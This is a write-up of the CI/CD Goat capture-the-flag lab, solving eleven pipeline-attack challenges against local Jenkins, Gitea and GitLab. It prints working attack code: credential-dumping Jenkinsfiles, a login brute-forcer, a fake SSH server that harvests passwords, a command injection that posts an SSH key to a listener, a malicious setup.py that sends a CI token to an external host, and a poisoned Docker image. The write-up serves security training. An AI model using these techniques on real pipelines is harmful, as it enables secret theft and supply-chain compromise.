CI/CD Goat

This CTF is self-hosted and is available at https://github.com/cider-security-research/cicd-goat

I made the challenges in May 2023 however I only had time to write proper writeups in 2024, so here they are 😅

We are given some initial credentials:

CTFd

Jenkins

Gitea

GitLab

White Rabbit

I’m late, I’m late! No time to say ״hello, goodbye״! Before you get caught, use your access to the Wonderland/white-rabbit repository to steal the flag1 secret stored in the Jenkins credential store.

100 points

TL;DR

  1. Modify Jenkinsfile to output secret
  2. Create pull request on Gitea and wait for output on Jenkins server
  3. Get flag

Solution

We login to the Jenkins server over at http://localhost:8080 and open the wonderland-white-rabbit pipeline just to see it as empty.

Then we move on to the Gitea instance at http://localhost:3000 and open the repo in the challenge description. There we can see some code what appears to be urllib3. In the root of the repo, there is a Jenkinsfile that defines the CI steps to run over at a Jenkins server.

We edit the file to add a variable containing the secret we want (flag1) and a step to output it.

In order to add secrets to the Jenkins pipeline, we need to use the credentials function with the ID of the secret. To get the secret, since Jenkins might have secret masking enabled we need to find a way to encode it and output it that way, and we are going with base64.

The Jenkinsfile will look like:

pipeline {
    agent any
    environment {
        FLAG = credentials("flag1")
    }

    stages {
        stage ('Show flag') {
            steps {
                sh "echo ${FLAG} | base64"
            }
        }
    }
}

We will create it in a separate branch, as it is not possible to commit directly to the main one.

On the Jenkins server, we can click on Scan Multibranch Pipeline Now to check if a job will popup, but on Scan Multibranch Pipeline Log we see that no job was scheduled. Let's open a Pull Request and try again...

Now we see in the log that there is a scheduled build for PR-1. Let's open Status > Pull Requests > PR-1. There we see a Show flag like we defined in the Jenkinsfile and if we click on the time in green and then on Logs we have our flag encoded as base64.

Let's get our flag by performing echo MDYxNjVERjItQzA0Ny00NDAyLThDQUItMUM4RUM1MjZDMTE1Cg== | base64 -d and we get 06165DF2-C047-4402-8CAB-1C8EC526C115

Mad Hatter

Jenkinsfile is protected? Sounds like an unbirthday party. Use your access to the Wonderland/mad-hatter repository to steal the flag3 secret.

100 points

TL;DR

  1. Modify Makefile to output secret
  2. Wait for output on Jenkins server
  3. Get flag

Solution

Looks like we shouldn't be able to edit the Jenkinsfile from the description, However, let's take a look at what is being done here. This repository doesn't seem to have a Jenkinsfile, let's look at other repositories of this Wonderland organization.

There is a repo named mad-hatter-pipeline and all it has is a Jenkinsfile! If we try to edit it, we can see we don't have permission, so there needs to be another way. By taking a deeper look at it, we can see that the secret is already added to the last stage (make), so our attack needs to happen there. All that happens on this stage is a call to the make command, so on the mad-hatter repo, there should be a Makefile and we should be able to get our flag there, as we can run any command from a Makefile. Looking at the syntax of withCredentials with usernamePassword, we see that the username stored in this secret will be stored in the USERNAME environment variable and the password on the FLAG one.

Going back to the mad-hatter repo, we see a Makefile, so we can edit it to become:

all:
    echo ${FLAG} | base64

Here we can directly commit to the main branch, but I was unable to make the pipeline work this way, so we proceed as previously, and if we then go to the project on Jenkins, we should have the flag.

We just need to decode it, and we get ACD6E6B8-3584-4F43-AB9C-ACD080B8EBB2

Duchess

If everybody minded their own business, the world would go round a deal faster than it does. Does it apply to your secrets as well? You’ve got access to the Wonderland/duchess repository, which heavily uses Python. The duchess cares a lot about the security of her credentials, but there must be some PyPi token left somewhere... Can you find it?

100 points

TL;DR

  1. Clone the repository locally
  2. Scan with gitleaks
  3. Get the token

Solution

Looks like we need to find a token somewhere hidden in this repository. Since I already have some experience with finding secrets in repositories, I cloned the repository right away and launched the tool gitleaks.

But before, we should see how a PyPi token looks like. By looking at the default gitleaks.toml file, we can see they are in the format pypi-AgEIcHlwaS5vcmc[A-Za-z0-9\-_]{50,1000}.

Back to the command, it is as simple as gitleaks detect -v. We can see that there are some secrets in the repo, some are just examples and can be ignored.

Let's re-run but now filter by pypi-: gitleaks detect -v | grep pypi-. Now we see there is a PyPi token but it is trimmed, we need to get it... So, we need to get more output from gitleaks...

By looking at the first command we can see that it contains the filename 3 lines after the secret, the line number where it occurs next line, and he commit the other one, so we can tweak grep a bit and it looks like this

gitleaks detect -v | grep -A 5 pypi-

With this information we can now navigate to the correct file, line and commit where gitleaks detected it. This can be done by just using git as follows:

git log -L 8,8:.pypirc 43f216c2268a94ff03e5400cd4ca7a11243821b0

And we get our flag: pypi-AgEIcHlwaS5vcmcCJGNmNTI5MjkyLWYxYWMtNDEwYS04OTBjLWE4YzNjNGY1ZTBiZAACJXsicGVybWlzc2lvbnMiOiAidXNlciIsICJ2ZXJzaW9uIjogMX0AAAYg7T5yHIewxGoh-3st7anbMSCoGhb-U3HnzHAFLHBLNBY

Caterpillar

Who. Are. You? You just have read permissions… is that enough? Use your access to the Wonderland/caterpillar repository to steal the flag2 secret, which is stored in the Jenkins credential store.

200 points

TL;DR

  1. Fork repo
  2. Get environment variables
  3. Modify original repo with token
  4. Get flag

Solution

Navigating to the repo and trying to edit a file, we see that in order to edit, we need to fork the repo first and then open a PR. Let's try to output the flag by changing the Jenkinsfile from the fork.

Our Jenkinsfile looks like this (we try to remove the limitation that only makes it run on the main branch):

pipeline {
    agent any

    stages {
        stage ('show flag') {
            steps {
                withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'flag')]) {
                    sh "echo ${flag} | base64"
                }
            }
        }
    }
}

Looking at the Jenkins server, we can see there are 2 configured pipelines:

  • wonderland-catterpillar-test
  • wonderland-catterpillar-prod

This makes us think it won't be that easy as the flag might only be available on the prod one, while the pull request runs on the test pipeline. By clicking on Scan Multibranch Pipeline Now on both, we can see that our assumption was correct, and the pipeline on test failed with ERROR: Could not find credentials entry with ID 'flag2'. We need to rethink our approach...

Jenkins needs access to Gitea to clone the repository, so there might be some kind of credential for the agent to clone the repository. Sometimes these agents store the credentials as environment variables, so it might be a good idea to just get all and see if something shows up.

The Jenkinsfile is now:

pipeline {
    agent any

    stages {
        stage ('Show env vars') {
            steps {
                sh "env"
            }
        }
    }
}

Looking at the logs of this new pipeline, we see that there is a variable named GITEA_TOKEN, so with it we should be able to clone the repository and possibly change the Jenkinsfile.

We proceed to clone the repo and change the pipeline file with our first attempt. We commit the file and when pushing we are prompted by a username, which we can put any string except leaving blank, and for the password we can input the obtained token.

IT WORKS!

Now we should be able to run the job over at the Jenkins server and get the flag. After decoding we get AEB14966-FFC2-4FB0-BF45-CD903B3535DA

Cheshire Cat

Some go this way. Some go that way. But as for me, myself, personally, I prefer the short cut. All jobs in your victim’s Jenkins instance run on dedicated nodes, but that’s not good enough for you. You are special. You want to execute code on the Jenkins Controller. That’s where the real juice is! Use your access to the Wonderland/cheshire-cat repository to run code on the Controller and steal ~/flag5.txt from its file system.

Note: Don't use the access gained in this challenge to solve other challenges.

200 points

TL;DR

  1. Modify Jenkinsfile to run on built-in node
  2. Get flag

Solution

When we look at the Jenkinsfile here, we see nothing special. Over at the Jenkins server, we can see there are 2 nodes configured:

  • Built-In Node
  • agent1

The Built-In node is the one where we want our pipeline to run. This is done via the agent instruction, which we need to modify to run specifically on the controller node. From the syntax reference page, we see we need to find the label for the built-in node as it is not shown in the UI. At the bottom of the Web UI we see a REST UI link, which can lead us to get all the information we need. By accessing, http://localhost:8080/computer/api/json?pretty=true we can see the nodes available and that the label assigned to the controller node is built-in.

Now we can modify the Jenkinsfile to:

pipeline {
    agent {
        node {
            label "built-in"
        }
    }

    stages {
        stage ('Show flag') {
            steps {
                sh "cat ~/flag5.txt; echo"
            }
        }
    }
}

By running the pipeline, we get the flag: 6B31A679-6D70-469D-9F8D-6D6E80B3C29C

Twiddledum

Contrariwise, if it was so, it might be; and if it were so, it would be; but as it isn't, it ain't. That's logic. Flag6 is waiting for you in the twiddledum pipeline. Get it.

200 points

TL;DR

  1. Acknowledge dependency of Twiddledee from Twiddledum project
  2. Modify Twiddledee to output flag
  3. Create new tag within locked version range
  4. Run pipeline and get flag

Solution

Let's go to the Jenkins server and access the wonderland-twiddle folder. Inside we see a wonderland-twiddledum pipeline but not much more we can see as no build ran yet. Clicking on Build Now seems to trigger a build, and after that one finishes, we can navigate to Workspace. Here we can see the files the build used.

Seems like a node package... Opening package.json, we see that there is a dependency on twiddledee, which is also stored in our Gitea instance, for version 1.1.0 or updates on minor or patch version (as a caret ^ was used). In .git/config, we can also see that the repo is named twiddledum over at Gitea.

Moving to the Gitea repo we just found, we see that it is another node package. Looking at the package.json again, we see that only the start command actually runs something: node index.js. This literally runs whatever is in the index.js file, so we have our way to output the flag.

We will assume the flag is set directly on the agent as an environment variable, because we can't see a Jenkinsfile in the * Wonderland/twiddledum* repo. However, we don't know the real name of the flag, it could be capital, lowercase, uppercase... We can access all environment variables with process.env, but in order to encode this dictionary, we first need to make it a string with JSON.stringify and then base64 encode it with Buffer.from().string("base64") as btoa is not defined for versions before Node 16 - this repo has commits from 3 years ago, 5 years ago so it is safe to assume that it uses one of those versions.

So, our index.js looks like this:

console.log(Buffer.from(JSON.stringify(process.env)).toString("base64"))

We commit it, tag it with a version bigger than 1.1.0 but smaller than 2.0.0 and push the tag. Let's try building the pipeline again...

This time we obtain a gigantic blob containing all environment variables, and after decoding we see:

{
  "JENKINS_HOME": "/var/jenkins_home",
  "GIT_PREVIOUS_SUCCESSFUL_COMMIT": "2161c94678ae276f99bba38373575cf2fbda1803",
  "SSH_CLIENT": "172.18.0.7 33702 22",
  "USER": "jenkins",
  "CI": "true",
  "RUN_CHANGES_DISPLAY_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/4/display/redirect?page=changes",
  "SHLVL": "0",
  "NODE_LABELS": "agent1 myagent",
  "HUDSON_URL": "http://localhost:8080/",
  "GIT_COMMIT": "2161c94678ae276f99bba38373575cf2fbda1803",
  "MOTD_SHOWN": "pam",
  "OLDPWD": "/home/jenkins",
  "HOME": "/home/jenkins",
  "BUILD_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/4/",
  "HUDSON_COOKIE": "395e2181-76f5-425e-901d-aab5bedd3c9a",
  "JENKINS_SERVER_COOKIE": "c02e450fff2f2d7c",
  "ROOT_BUILD_CAUSE_MANUALTRIGGER": "true",
  "WORKSPACE": "/home/jenkins/workspace/wonderland-twiddle/wonderland-twiddledum",
  "FLAG6": "710866F2-2CED-4E60-A4EB-223FD892D95A",
  "LOGNAME": "jenkins",
  "NODE_NAME": "agent1",
  "BUILD_CAUSE": "MANUALTRIGGER",
  "_": "/opt/java/openjdk/bin/java",
  "RUN_ARTIFACTS_DISPLAY_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/4/display/redirect?page=artifacts",
  "GIT_BRANCH": "origin/main",
  "EXECUTOR_NUMBER": "1",
  "USERNAME": "flag6",
  "RUN_TESTS_DISPLAY_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/4/display/redirect?page=tests",
  "BUILD_DISPLAY_NAME": "#4",
  "HUDSON_HOME": "/var/jenkins_home",
  "JOB_BASE_NAME": "wonderland-twiddledum",
  "PATH": "/home/jenkins/.local/bin:/home/jenkins/.local/bin:/home/jenkins/.local/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "BUILD_ID": "4",
  "BUILD_TAG": "jenkins-wonderland-twiddle-wonderland-twiddledum-4",
  "JENKINS_URL": "http://localhost:8080/",
  "JOB_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/",
  "GIT_URL": "http://gitea:3000/Wonderland/twiddledum.git",
  "JENKINS_AGENT_SSH_PUBKEY": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC33zkdtvwp8giZLp1mVUbqzCKi0KIiWD8/towT0+9k1SCDYjJ/YVPqKidkSefYaKBgJ1yFcWa9qroXAUd5nACXN3Xdes2fe4w+xZ8GQTpqHKyStEHy6R9QXi00r/VxGcmBYZWLifEyzV//PiRC+hUaG27JeeBnkZ1FEOyXUunpaPixNaDkfnLbCimflkd2uYH2arMY+FdOH950ezow/+v4vsNrzoMwVVCCSg/dIJBS2G/JaoAbbQgIGo63Kyz0j++rIInsXMFmxhy9hEpViX/tEorFzGh4gUvJPLy3IDjWjUz/Nfte9By6usQjN/1plJcuP+rUqrjjGeMpfhDP6aq5ZvfuPTmXOVkWJ9vJZaK2BCtSZk1vOJR4luxCyUZQbKgb3jS9YZ4N1ZS26z3EKwJGP/acNtEMx2u2zhY7zXdG7ca1Qo1yeVDMRctlvH++KMEYX/ZR6LqYlJyV6TFICZVUT7dLF65gq68UyIFswMu9pQ8/VvIMkkO6eiU1cqFr8gc=",
  "BUILD_NUMBER": "4",
  "SHELL": "/bin/bash",
  "RUN_DISPLAY_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/4/display/redirect",
  "ROOT_BUILD_CAUSE": "MANUALTRIGGER",
  "GITEA_TOKEN": "5d3ed5564341d5060c8524c41fe03507e296ca46",
  "HUDSON_SERVER_COOKIE": "c02e450fff2f2d7c",
  "JOB_DISPLAY_URL": "http://localhost:8080/job/wonderland-twiddle/job/wonderland-twiddledum/display/redirect",
  "JOB_NAME": "wonderland-twiddle/wonderland-twiddledum",
  "PWD": "/home/jenkins/workspace/wonderland-twiddle/wonderland-twiddledum",
  "JENKINS_AGENT_HOME": "/home/jenkins",
  "JAVA_HOME": "/opt/java/openjdk",
  "SSH_CONNECTION": "172.18.0.7 33702 172.18.0.5 22",
  "GIT_PREVIOUS_COMMIT": "2161c94678ae276f99bba38373575cf2fbda1803",
  "BUILD_CAUSE_MANUALTRIGGER": "true",
  "WORKSPACE_TMP": "/home/jenkins/workspace/wonderland-twiddle/wonderland-twiddledum@tmp"
}

So our flag was named FLAG6, and has the value 710866F2-2CED-4E60-A4EB-223FD892D95A.

Dodo

Everybody has won, and all must have prizes! The Dodo pipeline is scanning you. Your mission is to make the S3 bucket public-readable without getting caught. Collect your prize in the job’s console output once you’re done.

200 points

TL;DR

  1. Modify S3 bucket resource to make it publicly readable
  2. Disable rule that checks for S3 publicly accessible buckets
  3. Run pipeline and get flag

Solution

Taking a look at the Wonderland/dodo project, we see that it is a Terraform project. Let's just try to change the resource to public to see what happens.

We go to the main.tf file, and we can see that there are two S3 buckets defined here and the one named dodo has acl set to private. Since we do not know what this does, let's check this resource aws_s3_bucket documentation (we can see that it is using the module version before 4.0 in the versions.tf file). From the documentation, it seems that there are some ACL policies already predefined for S3 buckets, and public-read is one that allows everyone to read it. We change this line and try to run the scan over at Jenkins.

We can see that there is a Scan and Deploy stage, so it's like the description mentioned, we have something seeing if there are some misconfigurations. Looking at the console output, we see that it is checkov and has 3 extra rules enabled. Since there is no Jenkinsfile, we cannot change the flags passed to checkov.

However, looking at this page we see some ways to suppress warnings. Let's modify our main.tf and add this line to the dodo bucket resources:

#checkov:skip=CKV_AWS_20:Totally intended

After running the pipeline again, we see that a flagged is outputted: A62F0E52-7D67-410E-8279-32447ADAD916

Hearts

Who stole those tarts? Your goal is to put your hands on the flag8 credential. But not so fast… These are System credentials stored on Jenkins! How would you access THAT?! A permission to admin agents is something you might find useful...

300 points

TL;DR

  1. List users
  2. Bruteforce admin user password
  3. Create new agent with flag credentials
  4. Steal credentials and get the flag

Solution

Let's try to find our agent administrator in the users. We navigate to People and access all the names in there, and in the knave user, we see a description stating Agents admin. Now we need to login as this admin, however we do not know the password, so let's use a script that tries everything from a wordlist to see if we are able to crack it.

import requests
import sys

with open(sys.argv[1], "r") as f:
    count = 1
    while True:
        print(f"Try #{count}", end="\r")
        password = f.readline()[:-1] # Remove newline
        r = requests.post("http://localhost:8080/j_spring_security_check", data = {
            "j_username": "knave",
            "j_password": password,
            "remember_me": "on"
        })

        if r.status_code == 200:
            print()
            print(password)
            break

        count += 1

Basically we analyse how one successful request is handled and how one unsuccessful is and this way we can check by the HTTP status code if password is correct or not. Let's try to run it with the rockyou wordlist, and after some seconds, we get

Try #1110
rockme

So let's login with the newfound password. When we access the nodes, we see we are able to create a new agent, so we move on to create a new one. When we are filling the Launch method section, if we select Launch agents via SSH, we have the possibility to select the Credentials field and one option seems to be redacted with asterisks. We move on with this one. Basically with this we tell Jenkins to login to the agent via SSH, to start the agent process. We can input our own IP (using the docker0 interface as this is all running on Docker) and a random port, for example 9091. We also need to select the option Non verifying Verification Strategy for the Host Key Verification Strategy field.

Now we need to log the credentials used by the SSH client, and for that we can use a simple script using paramiko:

import paramiko
import socket
import time

class Server(paramiko.ServerInterface):
    def check_auth_password(self, username, password):
        print(f"Password: {password}")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 9091))

sock.listen(1)

client , add = sock.accept()

transport = paramiko.Transport(client)
transport.set_gss_host(socket.getfqdn(""))
transport.load_server_moduli()
transport.add_server_key(paramiko.Ed25519Key(filename="ssh.key"))

server = Server()

transport.start_server(server=server)

time.sleep(60)

transport.close()

We need to create a separate file named ssh.key with ssh-keygen, which is an Ed25519 private key for our server. All this script does is allow all the connection setup for SSH to happen, but when the user tries to authenticate with password, we just print it.

So, we start our server and launch the agent. In our script, we see the flag: B1A648E1-FD8B-4D66-8CAF-78114F55D396

Dormouse

Is "I breathe when I sleep" the same thing as "I sleep when I breathe"? If you steal secrets when you hack pipelines, does it mean you hack pipelines when you steal secrets? Leave that nonsense aside. Hack the Dormouse pipeline. Steal flag 9. Good luck.

300 points

TL;DR

  1. See dependency on external reportcov.sh file
  2. See repository where it is stored
  3. Get SSH key from command injection on PR pipeline
  4. Change reportcov.sh on the server
  5. Run pipeline and get flag

Solution

Looking at the wonderland-dormouse pipeline at the Jenkins server, do not get much information, so let's see what is up on Gitea. We finally have again a Jenkinsfile, however we do not have permission to edit. Observing its contents, we see that is downloads a file from a remote server called prod and executes it. We also have access to that server and can download the reportcov.sh file from it.

The file contents are:

# Reportcov is maintained at http://localhost:3000/Cov/reportcov
curl -F "data=@tests/index.html" "http://localhost:1111/upload" -H "Authorization: Token ${TOKEN}"

So, there is a repo with the reportcov.sh that we can possibly edit and obtain the flag. Opening the repo, we see yet another Jenkinsfile, that sends a mail notifying about a new pull request (with a command injection vulnerability) and that updates the reportcov.sh file if a push occurs, by using an SSH key stored as environment variable. With this new information, we see that we need to obtain the SSH key, change the file on the server and then run the pipeline to get the flag.

To get the SSH key, we first need to setup a netcat listener that will receive it, as we are only able to see Jenkins pipelines under the Wonderland organization. This can be simply done with nc -lnvp 1234 > key.pem to save it to a file. Then to output the key, since there is a command injection vulnerability related to the title of the PR, we can put there a command to output the key to our listener. ; curl -X POST http://172.17.0.1:1234 --data "$KEY"; echo should do the trick, we use our docker0 interface IP as this is all running locally on docker and it is easier. We fork the repo, make a random change and create a pull request with the previous command as title. After a few seconds, we should have received the key and it should be stored in our file.

Cleaning it up to remove all the HTTP headers, we get the SSH key needed to login to this prod server. We can see that this prod server is exposing SSH on port 2222, so let's try to connect to it, but first we need to fix the permission of our key by using chmod 600 key.pem. To test the connection, we use

ssh -p 2222 -i key.pem root@localhost

And we get to a shell, so let's navigate to /var/www/localhost/htdocs and there we see our reportcov.sh file. Let's edit it with vi so that it looks like:

echo ${FLAG} | base64

We run the pipeline for the wonderland-dormouse project and we get our flag: 31350FBC-A959-4B4B-A8BD-DCA7AC9248A6

Mock Turtle

Have you seen the Mock Turtle yet? It's the thing Mock Turtle Soup is made from. Can you push to the main branch of the mock-turtle repo? Do what’s needed to steal the flag10 secret stored in the Jenkins credential store.

300 points

TL;DR

  1. Understand pipeline logic in Jenkinsfile
  2. Leak the token used by Jenkins
  3. Modify the Jenkinsfile to output flag
  4. Merge the PR with the token
  5. Run pipeline and get flag

Solution

Let's open the Wonderland/mock-turtle repo on Gitea, and there we see a Jenkinsfile. Looking at it, seems there is some kind of logic to merge automatically pull requests. Let's break it down:

PR_ID=`echo "$CHANGE_URL" | grep -Po '^http://gitea:3000/Wonderland/mock-turtle/pulls/\\K\\d+$'`
if [ $? -eq 0 ];
then
...
fi

Here we obtain the number of the PR that was opened, if it exists. If no PR was opened, nothing happens.

gitp=`git diff --word-diff=porcelain origin/${CHANGE_TARGET} | grep -e "^+[^+]" | wc -w | xargs`
gitm=`git diff --word-diff=porcelain origin/${CHANGE_TARGET} | grep -e "^-[^-]" | wc -w | xargs`
if [ $(($gitp - $gitm)) -eq 0 ] ; then check1=true; else check1=false; fi

gitp is getting the total number of words in the lines that were added (showing as + on a git diff) in the PR and gitm the number of words in the deleted lines (showing as - on a git diff). The last line checks if the total number of words hasn't changed.

if [ $(wc -l <version) -eq 0 -a $(grep -Po "^\\d{1,2}\\.\\d{1,2}\\.\\d{1,2}$" version) ] ; then check2=true; else check2=false; fi
if [ $(git diff --name-only origin/${CHANGE_TARGET} | grep version) ] ; then check3=true; else check3=false; fi

The first line is checking if the version file doesn't have any newline and if its content is only composed of a version number with the format MAJOR.MINOR.PATCH where each component has between 1 and 2 digits. The last line check if the version file has been modified.

if $check1 && $check2 && $check3;
then
    curl -X 'POST' \
    'http://gitea:3000/api/v1/repos/Wonderland/mock-turtle/pulls/'"$PR_ID"'/merge' \
    -H 'accept: application/json'\
    -H 'Content-Type: application/json' \
    -H 'Authorization: token '"$TOKEN" \
    -d '{
        "Do": "merge"
    }';
else
    echo 'skipping...';
fi

This block checks if all previous checks are met and if so, merges the created pull request to the target branch.

What we need to do here is:

  1. Modify the Jenkinsfile to get a token in a next run by passing all the checks mentioned
  2. Create a second PR that passes again all checks but doesn't change the Jenkinsfile
  3. Get the token that is used in Jenkins because of this PR
  4. Modify the PR to change the Jenkinsfile to output our flag
  5. Use the token we obtained to merge the pull request
  6. Run the pipeline and get the flag

So, for the first step, we need to change the version in the version file and change the curl command, to make a request to a listener we will setup. Let's start our listener with nc -lnvp 9092, and set the URL for curl to http://172.17.0.1:9092. We open the PR, run the pipeline and it gets merged.

Afterwards, we create another one where we just change the version file and run the pipeline again. The token shows up in our listener and now we are able to commit to the repo as we wish.

Let's change our Jenkinsfile so it looks like this:

pipeline {
    agent any
    environment {
        FLAG = credentials("flag10")
    }

    stages {
        stage ('Show flag') {
            steps {
                sh "echo ${FLAG} | base64"
            }
        }
    }
}

Let's create a new PR and merge it manually with curl:

curl http://localhost:3000/api/v1/repos/Wonderland/mock-turtle/pulls/2/merge -H "Content-Type: application/json" -H "Authorization: token 03f186631edec80f38b9cc2f7f45870a30cc33e2" -d '{"Do":"merge"}'

Now, we need to change another file and create yet another pull request, and run the pipeline. After decoding, we get our flag: D54734AB-7B83-4931-A9BB-171476101FDF

Gryphon

"That's the reason they're called lessons," the Gryphon remarked: "because they lessen from day to day.” How long will it take you to crack the Gryphon challenge? This time, you’ve compromised GitLab! Use your user account to capture flag11. Do you have what it takes?

500 points

TL;DR

  1. Find nest-of-gold and awesome-app repos
  2. Check that nest-of-gold is using a custom python image
  3. Check that awesome-app is using pygryphon package
  4. Check that a PAT is used to upload images
  5. Create a malicious pygryphon package install to leak the token
  6. Build a malicious python 3 image to leak flag
  7. Get flag

Solution

Before starting, we have a free hint in the description:

💡Good to know: you can click the “Explore projects” button to view public projects as well.

We login to the Gitlab instance and we see a pygryphon project, which has nothing special here. Lets try to check for any reference to flag11. We see that only the repository Wonderland/nest-of-gold mentions it. It uses some kind of container stored in the Wonderland namespace, called web and uses the flag as environment variable. We can also see that the web image is based on an unofficial Python 3 image, stored in the same namespace as this project. Finally, we can also see that we have a pipeline running on schedule, every 10 minutes. Looking at Wonderland/awesome-app, we see that it is similar, however we see that there is a dependency on our pygryphon project, so maybe we can make our way to the flag through it... The pipeline schedule is the same as nest-of-gold.

One thing to notice is that both projects are pushing an image to the Gitlab CI registry using a special token, not the CI_JOB_TOKEN, so this token can outlive the CI job. Let's see if we can leak it through our package... Taking a closer look, these jobs are not using environments, so we are 100% sure this is a global secret and will be available on all jobs.

With this information we define a plan:

  1. Package a malicious pygryphon package
  2. Get the token when the pygryphon package is installed
  3. Upload a malicious Python 3.8 package to the registry
  4. Get flag

To create a Python package we can use a setup.py file - I know it's an old method but it will be handy. It is a file that basically calls the setup function from the setuptools module, and has the advantage that we can run arbitrary code on installation. This can be very helpful as the package is installed in the test job, so it means we will be able to access the TOKEN secret there.

The setup.py file looks like:

import requests
import os
from setuptools import setup, find_packages

class RCE(install):
    def run(self):
        r = requests.post("<MY IP>", data=os.environ["TOKEN"])

setup(cmdclass={"install":RCE})

Here we are using requests which is not a default-installed Python module, so we will need to tell in the metadata that we need it, in order for the runner to install it before we run our script. This is done through the pyproject.toml file by simply adding to the requires list the requests module. For the IP, I wasn't able to use my local docker IP, as in the job this IP points also the container IP of the GitLab Runner, so I needed to use my LAN IP. Let's start our listener:

nc -lnvp 9094
# In a separate terminal window
ngrok http 9094

We copy the URL and put it into our setup.py file.

Now, there are two ways of packaging Python packages: using Wheel or Source Distributions, but there is a good explanation here. Basically, we can build from source or use a pre-built package, and Python will always choose the pre-built one if it is available. In our case, we want to build from source, as it is when we run our code.

To build the package for source, we simply run

python setup.py sdist

This creates a new version of pygryphon in our dist folder. Now we need to upload it to the GitLab registry. For that, we generate a PAT for our current user with at least permission write_registry and save it. We need to create a file in our home directory, named .pypirc, it will look like this:

[distutils]
index-servers =
  gitlab

[gitlab]
repository = http://localhost:4000/api/v4/projects/3/packages/pypi
username = alice
password = <PAT>

As the last steps, to upload our package, we just need to remove the existing package from our GitLab package registry and install twine. Let's run

python -m venv venv
source venv/bin/activate
pip install twine
python -m twine upload -r gitlab dist/pygryphon-1.0.13.tar.gz

No error was received, so all is good!

Now, let's wait for the pipeline to run and we will get our token. After some minutes, we get in our listener: 04b6bdf425dbd720a34705a398500937

Nice! Now we just need to overwrite the python image with our own.

Let's replace the python3 binary with a script that sends the flag to our listener. Our Dockerfile looks like:

FROM "python:3.8"
RUN echo '#!/bin/bash' > /usr/local/bin/python3 && echo 'curl <MY IP> -d $FLAG11' >> /usr/local/bin/python3 && chmod +x /usr/local/bin/python3 && cp /usr/bin/true /usr/local/bin/pip3

Here we use the same trick with local IP but on a different port as the last one will keep receiving the token. Also, we are only overwriting one of the paths, since it is the first one in the $PATH environment variable of the image we chose, so it is all we need. We also need to replace the pip3 binary, as it is just a script wrapping python3 and it will fail after we overwrite the original binary.

I wasn't able to make it work locally, so let's use our pygryphon repo CI to overwrite the image. Let's create a .gitlab-ci.yml file with the contents:

upload:
    variables:
        DOCKER_HOST: tcp://docker:2375
    script:
        - apk add docker
        - docker login -u gryphon -p 04b6bdf425dbd720a34705a398500937 $CI_REGISTRY
        - docker build -t $CI_REGISTRY/wonderland/nest-of-gold/python:3.8 .
        - docker push $CI_REGISTRY/wonderland/nest-of-gold/python:3.8

Let's commit both files to the pygryphon repo and now we just need to wait for the pipeline to run to overwrite the image and then for the schedule of nest-of-gold to receive our flag. And after some time, there it is: 7ED44218-C9CC-4824-BC85-C9841305A642